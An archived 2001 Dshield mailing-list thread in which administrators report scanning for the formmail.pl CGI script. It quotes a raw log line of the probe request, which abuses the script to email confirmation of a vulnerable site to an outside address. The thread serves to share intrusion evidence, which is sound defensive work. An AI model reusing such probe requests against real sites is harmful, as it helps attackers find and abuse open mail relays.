[Dshield] Someone is looking for formmail.pl script...

Eric Rosander erosander at matrixns.com
Thu Aug 23 17:03:05 GMT 2001


I see these pop up every once in a while.  But I do seem to have a high
volume this morning in my logs.  587 attempts from  24.0.122.225

-----Original Message-----
From: dshield-admin at dshield.org [mailto:dshield-admin at dshield.org]On
Behalf Of miroslaws at home.com
Sent: Wednesday, August 22, 2001 2:26 AM
To: dshield at dshield.org
Subject: [Dshield] Someone is looking for formmail.pl script...


Somebody is scanning domains and try to find existance of CGI script
formmail.pl If the script exists, than the information is e-mailed to
address woah at aol.com . In the below log the 'xxxxxxxxx.com' it is the domain
hosted by one of my web servers. I had to hide the real name of the domain
because of my confindentiality agreement.

195.231.142.15 - - [15/Aug/2001:20:58:22 -0700] "GET
/cgi-bin/formmail.pl?email=itp642 at mek869.com&recipient=woah at aol.com&subject=
http://xxxxxxxxx.com/cgi-bin/formmail.pl&message=%0D%0A%0D%0Atime/date:%2011
:53:25pm%20/%2008/15/2001%0D%0Ahttp://xxxxxxxxx.com/cgi-bin/formmail.pl%20is
%20valid.%20~vms HTTP/1.0" 404 0 "-" "-"

Best Regards,

Miroslaw



_______________________________________________
Dshield mailing list
Dshield at dshield.org
To change your subscription options (or unsubscribe), see:
http://www1.dshield.org/mailman/listinfo/dshield




More information about the list mailing list